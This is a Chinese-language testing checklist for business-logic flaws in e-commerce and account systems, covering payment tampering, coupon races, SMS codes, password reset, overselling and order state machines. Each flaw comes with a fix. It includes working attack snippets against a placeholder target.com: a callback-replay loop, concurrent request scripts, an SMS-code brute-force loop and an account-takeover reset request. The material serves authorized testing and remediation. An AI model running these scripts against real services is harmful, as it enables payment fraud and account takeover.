跳转至

业务逻辑漏洞测试清单

逻辑漏洞没有扫描器能替你发现,因为"错误"取决于业务规则。测试的核心动作是:把服务端当成不可信的一方,逐个假设它没校验,然后用最小请求证明。

下面每类都给:攻击链 → 复现方式 → 成立证据 → 修复代码。

一、支付与金额

1.1 五个必须试的篡改点

POST /api/order/create HTTP/1.1
Content-Type: application/json

{
  "skuId": 1001,
  "count": 1,
  "price": 9900,
  "totalAmount": 9900,
  "freight": 0,
  "couponId": null,
  "currency": "CNY"
}
篡改 请求 成立表现
单价 price: 1 订单金额变成 1 分,且支付页显示 0.01
数量 count: -1 总额变负 / 库存增加
运费 freight: -100 抵减商品金额
总额 totalAmount: 1 但 price 正常 服务端信任了客户端总额
币种 currency: "JPY" 按日元结算,实际少付 100 倍

判定要点:下单接口返回的金额与支付网关实际收款金额都要看。有些系统下单时校验了,调支付时又用客户端传的金额。

1.2 精度与舍入

单价 0.1 元 × 3 件 = 0.30000000000000004
优惠 10% 后 = 0.27
再叠加满减 0.27 - 0.27 = 0

测试值:

  • 0.01、0.001(三位小数)
  • 1e3、1E-2(科学计数法)
  • 2147483648(int 溢出)
  • 99999999999999999999(long 溢出 / 精度丢失)
  • 数量 0、-1、1.5

真实案例:某系统用 double 存金额,0.1 * 3 得到 0.30000000000000004,四舍五入后多收 1 分;另一些系统用 int 存分,但参与运算时 int * int 溢出成负数,下单金额为负。

修复:金额统一用 BigDecimal + setScale(2, RoundingMode.HALF_UP),数据库用 DECIMAL(18,2),禁止 double。

1.3 支付回调伪造与重复

POST /notify/alipay
trade_status=TRADE_SUCCESS&out_trade_no=202610220001&total_amount=0.01&sign=xxx

三个测试方向:

  1. 不验签:把 sign 删掉或改成任意值,回调是否仍被处理。
  2. 金额不校验:订单应付 100 元,回调 total_amount=0.01,订单是否变已支付。
  3. 重复回调:同一笔回调重放 10 次,权益是否发放 10 次。
# 重放回调(Burp 里直接 Send 10 次,或脚本并发)
for i in $(seq 1 10); do
  curl -s -X POST https://target.com/notify/alipay -d @notify.txt &
done
wait

成立证据:账户余额/积分/会员天数增加超过应付值;订单出现多条支付流水。

修复:

// 1. 验签(以支付宝 SDK 为例)
boolean ok = AlipaySignature.rsaCheckV1(params, alipayPublicKey, "UTF-8", "RSA2");
if (!ok) return "failure";

// 2. 金额必须与订单一致
BigDecimal paid = new BigDecimal(params.get("total_amount"));
if (paid.compareTo(order.getPayAmount()) != 0) {
    log.warn("amount mismatch order={} paid={}", order.getNo(), paid);
    return "failure";
}

// 3. 幂等:以支付流水号做唯一键,重复插入直接返回成功
try {
    paymentMapper.insertIgnore(order.getNo(), params.get("trade_no"), paid);
} catch (DuplicateKeyException e) {
    return "success";       // 已处理过,告诉对方成功,避免无限重试
}

insertIgnore 依赖数据库唯一索引:UNIQUE KEY uk_trade_no (trade_no)。没有唯一索引,代码层的"先查再插"在并发下仍会重复。

1.4 退款

  • 退款金额 > 支付金额
  • 部分退款累加超过原额(退 3 次 50%)
  • 已退款订单再次退款
  • 退款到他人账户(改 userId/accountId)

验证方法:记录每次退款后的 refunded_amount,累加与 pay_amount 比较;并发发起 5 笔部分退款,看是否超退。

二、优惠券与营销

2.1 攻击链

场景 请求变形 成立表现
券归属 couponId 换成他人券 下单抵扣成功
叠加 同时传 couponId 和 activityId 两个优惠都生效
门槛 商品 99.99,券门槛 100 仍可抵扣(>= 写成 > 或反之)
过期 用过期券 ID 抵扣成功
重复领取 并发 10 次领取 券包里出现多张
退款回滚 用券下单→退款 券退回且订单优惠仍在

2.2 并发领券复现

import concurrent.futures, requests

URL = "https://target.com/api/coupon/receive"
HEADERS = {"Authorization": "Bearer <token>"}
BODY = {"activityId": 888}

def receive(_):
    r = requests.post(URL, json=BODY, headers=HEADERS, timeout=5)
    return r.status_code, r.text[:80]

with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool:
    results = list(pool.map(receive, range(20)))

success = [r for r in results if r[0] == 200]
print("成功次数:", len(success))

成立:成功次数 > 1,且券包数量增加。注意压测前确认活动库存,别把测试环境打空。

修复(数据库层原子扣减):

-- 条件更新,影响行数为 0 说明已被领完
UPDATE coupon_activity
   SET remain = remain - 1
 WHERE id = #{activityId} AND remain > 0;
int rows = activityMapper.deduct(activityId);
if (rows == 0) throw new BizException("已领完");
// 再插入用户券,user_id + activity_id 建唯一索引兜底

"先查 remain > 0 再 update"在并发下必然超发,必须让判断和扣减在一条 SQL 里完成。

2.3 退款后的券

真实缺陷:退款时把券状态改回"未使用",但订单的优惠金额没有回滚,用户可以"用券下单 → 退款 → 券还在 → 再次使用",形成无限折扣。

验证:同一张券,下单退款循环 3 次,每次都能抵扣即成立。

三、验证码

3.1 六个测试点

  1. 可复用:同一验证码登录 2 次都成功。
  2. 不绑定:A 手机号的验证码能验证 B 手机号。
  3. 不过期:等 10 分钟仍有效。
  4. 可爆破:4 位码无次数限制。
  5. 响应泄露:接口返回 {"code":0,"smsCode":"1234"}。
  6. 万能码:000000、111111、123456 在测试环境能过(上线忘删)。
# 爆破:观察是否存在次数限制
for code in $(seq -w 0000 9999); do
  r=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/api/login \
      -H "Content-Type: application/json" \
      -d "{\"phone\":\"13800000001\",\"code\":\"$code\"}")
  [ "$r" = "200" ] && echo "hit: $code" && break
done

先确认有授权、且目标允许暴力测试;生产环境不要跑全量 1 万次。

修复:

// 存储:key 带业务场景 + 手机号,5 分钟过期,验证一次即删
String key = "sms:login:" + phone;
String saved = redis.opsForValue().get(key);
if (saved == null || !saved.equals(code)) {
    redis.opsForValue().increment("sms:fail:" + phone);   // 失败计数
    throw new BizException("验证码错误或已过期");
}
redis.delete(key);                                        // 一次性

同时按手机号 + IP 双维度限流(如 1 分钟 1 次、1 天 10 次),并在网关层限制单 IP 的 QPS。

3.2 短信轰炸

接口只校验图形验证码在前端,后端直接发短信 → 攻击者循环调用,造成资损。

验证:连续调用发送接口 50 次,统计成功次数与到达条数。修复:服务端校验图形验证码 + 手机号频控 + 单日上限 + 相同内容合并。

四、账号与找回密码

4.1 任意用户密码重置

常见四种:

形态 请求特征
手机号可篡改 第一步验证 A 的短信,第二步提交时把 phone 改成 B
token 与用户不绑定 重置链接里的 token 可用在任意账号
token 可预测 6 位数字、时间戳、MD5(手机号)
响应泄露 接口返回重置 token
# 1. 用 A 的手机号走完验证,拿到 resetToken
# 2. 提交时把 username 改成 B
curl -X POST https://target.com/api/password/reset \
  -H "Content-Type: application/json" \
  -d '{"username":"victim","resetToken":"<A拿到的token>","newPassword":"Hacked123!"}'

成立:victim 能用新密码登录。

修复要点:

  • token 服务端生成(≥128 bit 随机),存 Redis,key 为 reset:{token},value 为 userId;
  • 校验时以 token 对应的 userId 为准,不接受请求里的 username;
  • 一次性、15 分钟过期、使用后删除;
  • 重置成功后强制下线所有会话。

4.2 登录锁定绕过

  • 失败 5 次锁定,但换 IP 即可继续(锁定按 IP 而不是账号)
  • 用户名加空格/大小写/全角字符绕过计数(admin vs admin vs Admin)
  • 锁定只在前端提示,后端仍校验密码

验证:对同一账号从 3 个出口 IP 各试 5 次,观察是否仍被锁;对 admin、admin、ADMIN 分别计数。

五、并发与库存

5.1 超卖复现

import concurrent.futures, requests

def buy(i):
    r = requests.post("https://target.com/api/order",
                      json={"skuId": 1001, "count": 1},
                      headers={"Authorization": "Bearer <token>"}, timeout=5)
    return r.status_code, r.json().get("code") if r.status_code == 200 else r.text[:60]

with concurrent.futures.ThreadPoolExecutor(max_workers=50) as pool:
    print(list(pool.map(buy, range(50))))

库存设为 10,50 并发下单,成功超过 10 单即超卖。

修复三选一(按可靠性排序):

-- 1. 条件更新(最常用)
UPDATE sku SET stock = stock - #{count}
 WHERE id = #{skuId} AND stock >= #{count};
-- rows = 0 → 库存不足
// 2. 乐观锁(适合读多写少)
@Update("UPDATE sku SET stock = stock - #{n}, version = version + 1 " +
        "WHERE id = #{id} AND version = #{version} AND stock >= #{n}")
int deductWithVersion(...);
// 3. 分布式锁(跨服务、跨库时)
RLock lock = redisson.getLock("sku:" + skuId);
try {
    if (!lock.tryLock(3, 10, TimeUnit.SECONDS)) throw new BizException("系统繁忙");
    // 查库存 + 扣减
} finally {
    if (lock.isHeldByCurrentThread()) lock.unlock();
}

5.2 重复扣款与幂等

攻击:同一笔提现请求并发发 5 次,余额扣 5 次;或支付成功后重复点击"确认"。

验证:请求带同一个 requestId 发 5 次,看流水条数与余额变化。

修复:

// 幂等表:request_id 唯一索引
try {
    idempotentMapper.insert(requestId, userId, "withdraw");
} catch (DuplicateKeyException e) {
    return idempotentMapper.getResult(requestId);   // 返回第一次的结果
}

注意:幂等记录要和业务在同一个事务里提交,否则会出现"幂等记录写了、业务失败"或反之。

六、状态与流程

6.1 跳过前置步骤

正常:创建订单 → 支付 → 发货 → 收货 → 完成
攻击:创建订单 → 直接调 /api/order/ship(跳过支付)
      未实名 → 直接调 /api/withdraw

测试方法:把每个状态下的所有接口都试一遍,不只看前端按钮。接口清单来自 JS、Swagger、历史流量。

6.2 状态回退

  • 已取消订单再次支付 → 订单复活并发货
  • 已退款订单再次申请退款
  • 已完成订单再次评价

验证:记录状态变更接口,构造非法迁移。

修复:状态机显式校验,禁止"任意 set":

public enum OrderStatus {
    CREATED, PAID, SHIPPED, COMPLETED, CANCELLED, REFUNDED;
}

private static final Map<OrderStatus, Set<OrderStatus>> ALLOWED = Map.of(
    CREATED,  Set.of(PAID, CANCELLED),
    PAID,     Set.of(SHIPPED, REFUNDED),
    SHIPPED,  Set.of(COMPLETED, REFUNDED),
    COMPLETED, Set.of(REFUNDED),
    CANCELLED, Set.of(),
    REFUNDED, Set.of()
);

public void transit(Order order, OrderStatus target) {
    if (!ALLOWED.get(order.getStatus()).contains(target)) {
        throw new BizException("非法状态流转: " + order.getStatus() + " -> " + target);
    }
    // 带原状态的条件更新,防并发覆盖
    int rows = orderMapper.updateStatus(order.getId(), order.getStatus(), target);
    if (rows == 0) throw new BizException("状态已变化,请刷新");
}

6.3 越权审批

自己提交、自己审批;审批人参数可篡改;审批接口未校验当前用户是否在审批人列表。

验证:A 提交单据,A 用审批接口通过;或把 approverId 改成自己。

七、测试执行方法

  1. 画状态机:把订单/提现/退款的状态与允许动作画出来,标出每个动作的接口。
  2. 列参数表:每个接口列出所有可篡改字段(金额、数量、ID、状态、时间)。
  3. 四种变形:改参数、换身份、调顺序、并发/重放。
  4. 对照实验:每次只改一个变量,保留原始响应做 diff。
  5. 看服务端:前端提示不算证据,以数据库/对账/流水为准。

八、修复原则清单

  • 金额、数量、库存、状态一律服务端计算,客户端值只做参考
  • 金额用 BigDecimal / 整数分,禁止 double
  • 所有扣减用条件更新或锁,禁止"先查再改"
  • 关键写操作有幂等键 + 唯一索引
  • 状态流转用状态机守卫 + 条件更新
  • 验证码绑定场景、一次性、有频控
  • 重置 token 随机、服务端绑定用户、一次性
  • 回调验签 + 金额校验 + 幂等
  • 优惠券/积分/退款有累计上限校验
  • 所有内部接口与定时任务也在鉴权范围内

相关阅读